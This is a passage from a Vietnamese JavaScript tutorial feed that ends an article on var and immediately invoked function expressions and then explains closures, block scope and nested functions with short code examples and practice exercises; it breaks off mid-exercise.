tên</strong> vào thì vẫn sẽ có lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -> JS không cho phép gọi hàm ngay khi khai báo</span></code></pre></div> <p>Việc đặt biểu thức hàm bên trong cặp dấu <code>()</code> để JavaScript hiểu rằng hàm được tạo ra ở một biểu thức khác. Vì vậy, biểu thức hàm trong trường hợp này <strong>không cần tên và có thể gọi ngay lập tức</strong>.</p> <p>Ngoài ra, có một vài cách khác để khai báo IFFE như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">(function() { console.log("Dấu ngoặc đơn bao quanh function"); })(); (function() { console.log("Dấu ngoặc đơn bao quanh tất cả"); }()); !function() { console.log("Toán tử bitwise ! bắt đầu hàm"); }(); +function() { console.log("Toán tử + bắt đầu hàm"); }();</code></pre></div> <blockquote> <p>📝 <strong>Chú ý:</strong> với cú pháp JS hiện đại, bạn không nên (không cần thiết) viết code theo cú pháp như này.</p> <p>Những cách viết trên chỉ nhằm mục đích giúp bạn hiểu về <code>var</code>, cách sử dụng <code>var</code> và IFFE trong JavaScript.</p> <p>Để khi bạn gặp phải những mã nguồn cũ sử dụng <code>var</code> và IFFE, bạn vẫn có thể hiểu được logic chương trình và dễ dàng chuyển sang sử dụng <code>let/const</code> khi cần thiết.</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Có hai điểm chính khác nhau giữa <code>var</code> và <code>let/const</code> là:</p> <ul> <li>Biến khai báo với <code>var</code> không có phạm vi block mà có phạm vi hàm hoặc toàn cục (nếu khai báo bên ngoài hàm).</li> <li>Việc khai báo biến với <code>var</code> được thực hiện khi hàm bắt đầu (hoặc khi bắt đầu chương trình với biến toàn cục).</li> </ul> <p>Điểm khác nhau khiến <code>var</code> trở nên lỗi thời và không được sử dụng trong lập trình JavaScript hiện đại.</p>[email protected]<![CDATA[Closure là gì? Tìm hiểu closure trong JS]]><![CDATA[Closure trong JS là một trong những khái niệm quan trọng. Việc nắm chắc JavaScript closure là gì và cách sử dụng closure trong JavaScript giúp bạn viết code tốt hơn. JavaScript…]]>https://completejavascript.com/tim-hieu-javascript-closures/https://completejavascript.com/tim-hieu-javascript-closures/<![CDATA[Hàm]]>Wed, 14 Jun 2017 06:35:17 GMT<p>Closure trong JS là một trong những <strong>khái niệm quan trọng</strong>. Việc nắm chắc JavaScript closure là gì và cách sử dụng closure trong JavaScript giúp bạn viết code tốt hơn.</p> <h2 id="javascript-closure-là-gì" style="position:relative;"><a href="#javascript-closure-l%C3%A0-g%C3%AC" aria-label="javascript closure là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript closure là gì?</h2> <p>JavaScript closure là tập hợp bao gồm một hàm và <strong>môi trường</strong> nơi hàm đó được khai báo, gọi là <strong>lexical environment</strong>.</p> <p>Trong đó, <strong>lexical environment</strong> được hiểu là tất cả những biến cục bộ trong hàm và trạng thái của các biến ở phạm vi ngoài hàm.</p> <p>Closure trong JS có thể truy cập <a href="/bien-la-gi-bien-trong-javascript/">biến</a> ở <strong>3 phạm vi</strong> khác nhau là:</p> <ul> <li>Biến toàn cục (global)</li> <li>Biến được khai báo ở ngoài hàm (outer function)</li> <li>Biến ở trên trong hàm closure (local)</li> </ul> <p>Ví dụ về các phạm vi biến:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// biến global</span> <span class="token keyword">let</span> <span class="token constant">YEAR</span> <span class="token operator">=</span> <span class="token string">"2021"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">greet</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// biến local trong hàm greet</span> <span class="token comment">// đồng thời là biến ngoài hàm sayHello</span> <span class="token keyword">let</span> intro <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// biến local của hàm sayHello</span> <span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>intro<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> in </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token constant">YEAR</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">greet</span><span class="token punctuation">(</span><span class="token string">"Dev"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello Dev in 2021</span></code></pre></div> <p>Để hiểu hơn về phạm vi của biến, sau đây mình sẽ tìm hiểu về khái niệm "khối code" hay tiếng anh là <strong>code block</strong>.</p> <blockquote> <p>📝 <strong>Chú ý:</strong> các ví dụ sau đây chỉ áp dụng cho cách khai báo biến với <code>let/const</code>. Cách khai báo biến với <code>var</code> đã lỗi thời và <code>var</code> có logic riêng.</p> <p>Có thể bạn quan tâm: <a href="/phan-biet-var-va-let-trong-javascript/">Phân biệt var và let trong JavaScript</a></p> </blockquote> <h2 id="code-block-là-gì" style="position:relative;"><a href="#code-block-l%C3%A0-g%C3%AC" aria-label="code block là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Code block là gì?</h2> <p>Nếu một biến được khai báo <strong>bên trong một code block</strong> <code>{...}</code> thì biến "chỉ được nhìn thấy" ở khối code đó.</p> <p>Ví dụ về code block:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// sau đây là một khối code</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hi"</span><span class="token punctuation">;</span> <span class="token comment">// biến message chỉ được nhìn thấy ở trong block</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Error: message is not defined</span></code></pre></div> <p>Bạn có thể ứng dụng code block để tạo ra các đoạn code riêng biệt mà không sợ bị <strong>xung đột về tên biến</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// block 1</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hi"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi</span> <span class="token punctuation">}</span> <span class="token comment">// block 2</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span> <span class="token punctuation">}</span></code></pre></div> <p>Nếu không có code block thì sẽ xảy ra lỗi "biến đã được khai báo":</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hi"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hi</span> <span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught SyntaxError: Identifier 'message' has already been declared</span></code></pre></div> <p>Ví dụ về <code>if</code>, <code>for</code>, <code>while</code>,... các biến được khai báo bên trong <code>{...}</code> cũng chỉ được nhìn thấy bên trong:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: message is not defined</span></code></pre></div> <p>Sau <a href="/cau-truc-re-nhanh-trong-javascript/">câu lệnh rẽ nhánh <code>if</code></a>, biến <code>message</code> không được nhìn thấy, nên đã có lỗi "message is not defined".</p> <p>Tương tự với <a href="/vong-lap-trong-javascript/">vòng lặp <code>for</code></a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// biến i chỉ được nhìn thấy bên trong for</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0, 1, 2</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: i is not defined</span></code></pre></div> <p>Trong ví dụ trên, bạn đấy <code>let i</code> không nằm trong <code>{...}</code>. Tuy nhiên, vòng lặp <code>for</code> là một cú pháp đặc biệt.</p> <p>Biến được khai báo bên trong <code>for(...)</code> là biến cục bộ bên trong code block <code>{...}</code> của <code>for</code>.</p> <h2 id="hàm-lồng-nhau" style="position:relative;"><a href="#h%C3%A0m-l%E1%BB%93ng-nhau" aria-label="hàm lồng nhau permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm lồng nhau</h2> <p>Hàm lồng nhau được hiểu là <strong>một hàm được khai báo bên trong hàm khác</strong>, tiếng anh là <strong>nested function</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHiBye</span><span class="token punctuation">(</span><span class="token parameter">firstName<span class="token punctuation">,</span> lastName</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// getFullName là nested function</span> <span class="token keyword">function</span> <span class="token function">getFullName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>firstName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>lastName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello, "</span> <span class="token operator">+</span> <span class="token function">getFullName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Bye, "</span> <span class="token operator">+</span> <span class="token function">getFullName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong ví dụ trên, hàm <code>getFullName</code> là một nested function được khai báo bên trong hàm <code>sayHiBye</code>.</p> <p>Hàm <code>getFullName</code> có thể truy cập tới biến ngoài hàm <code>firstName</code>, <code>lastName</code> và trả về giá trị "fullName".</p> <p>Điều đặc biệt ở đây là bạn có thể "return" về nested function. Sau đó, bạn có thể <strong>sử dụng hàm trả về ở bất kỳ đâu</strong> mà vẫn có thể truy cập được vào biến ngoài hàm (outer function) một cách giống nhau.</p> <p>Ví dụ hàm <code>makeCounter</code> trả về giá trị <code>count</code> tiếp theo sau mỗi lần gọi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// ban đầu counter bằng 0</span> <span class="token keyword">let</span> count <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// trả về một hàm khác</span> <span class="token comment">// hàm này return về counter rồi tăng biến counter lên 1 đơn vị</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> count<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// sử dụng -> counter chính là nested function</span> <span class="token keyword">let</span> counter1 <span class="token operator">=</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sau mỗi lần gọi hàm counter1() thì giá trị count tăng lên 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> <span class="token comment">// tạo counter2, giá trị count độc lập với counter1</span> <span class="token keyword">let</span> counter2 <span class="token operator">=</span> <span class="token function">makeCounter</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// khi gọi counter2(), giá trị count vẫn bắt đầu từ 0, chứ không phải 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter2</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter2</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">counter2</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <h2 id="đặc-điểm-của-closure-trong-js" style="position:relative;"><a href="#%C4%91%E1%BA%B7c-%C4%91i%E1%BB%83m-c%E1%BB%A7a-closure-trong-js" aria-label="đặc điểm của closure trong js permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đặc điểm của closure trong JS</h2> <p>Nếu bạn muốn hiểu sâu và vận dụng được JavaScript closure thì sau đây là những đặc điểm quan trọng mà bạn cần nắm vững.</p> <p>► <strong>Hàm closures có thể truy cập tới biến của hàm chứa nó, dù cho hàm đó đã return</strong></p> <p>Thông thường, khi một hàm đã <strong>return</strong> thì biến cục bộ trong hàm đó cũng được giải phóng.</p> <p>Nhưng với closure trong JS thì khác, bạn vẫn có thể truy cập đến những biến cục bộ đó ngay cả khi outer function đã thực hiện xong.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">adder</span><span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> intro <span class="token operator">=</span> <span class="token string">"This answer is "</span><span class="token punctuation">;</span> <span class="token keyword">let</span> local <span class="token operator">=</span> n<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">number</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> result <span class="token operator">=</span> number <span class="token operator">+</span> local<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>intro <span class="token operator">+</span> result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> adder2 <span class="token operator">=</span> <span class="token function">adder</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">adder2</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// This answer is 12</span></code></pre></div> <p>Trong ví dụ trên, hàm closures là một hàm không tên <code>function(number)</code>. Hàm closures này sử dụng biến cục bộ của outer function là <code>intro</code> và <code>local</code>.</p> <p>Khi mình gọi hàm <code>adder(2)</code>, hàm này thực hiện và kết quả trả về được gán vào biến <code>adder2</code>. Nói cách khác, <code>adder2</code> chứa <strong>nested function</strong> được trả về từ việc gọi hàm <code>adder(2)</code>.</p> <p>Sau đó, mình gọi <code>adder2(10)</code> và kết quả trả về là <code>12</code>.</p> <p>Chứng tỏ, hàm closures vẫn có thể truy cập tới biến cục bộ của outer function là <code>intro</code>, <code>local</code> ngay cả khi hàm outer <code>adder2</code> đã thực hiện xong.</p> <p>► <strong>Hàm closures lưu trữ biến của outer function theo kiểu tham chiếu</strong></p> <p>Xét ví dụ dưới đây:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">ObjId</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> id <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token function-variable function">getId</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> id<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function-variable function">setId</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">_id</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> id <span class="token operator">=</span> _id<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> myObject <span class="token operator">=</span> <span class="token function">ObjId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myObject<span class="token punctuation">.</span><span class="token function">getId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> myObject<span class="token punctuation">.</span><span class="token function">setId</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myObject<span class="token punctuation">.</span><span class="token function">getId</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span></code></pre></div> <p>Hàm khởi tạo <code>ObjId</code> trả về một đối tượng bao gồm 2 hàm closures là <code>getId</code> và <code>setId</code>. Các hàm closures này sử dụng chung một biến cục bộ là <code>id</code>.</p> <p>Ban đầu, mình gọi <code>myObject.getId()</code> thì kết quả trả về là <code>1</code> (giá trị của biến cục bộ). Sau đó, mình gọi <code>myObject.setId(10)</code> để cập nhật giá trị của <code>id</code>.</p> <p>Nếu closure trong JS chỉ <strong>lưu biến cục bộ theo giá trị</strong> thì suy ra giá trị của biến cục bộ <code>id</code> sẽ không thay đổi. Nhưng khi mình gọi tiếp <code>myObject.getId()</code> thì giá trị trả về là <code>10</code>.</p> <p>Chứng tỏ, hàm closures phải <strong>lưu biến cục bộ theo kiểu tham chiếu</strong>.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> name <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi, "</span> <span class="token operator">+</span> name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> name <span class="token operator">=</span> <span class="token string">"Anna"</span><span class="token punctuation">;</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi kết quả khi gọi <code>sayHi()</code> là "Alex" hay "Anna"?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả là: <strong>Anna</strong>.</p> <p>Biến <code>name</code> là biến toàn cục. Khi hàm <code>sayHi</code> được gọi, giá trị của <code>name</code> là giá trị mới nhất.</p> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">makeWorker</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> name <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> name <span class="token operator">=</span> <span class="token string">"Anna"</span><span class="token punctuation">;</span> 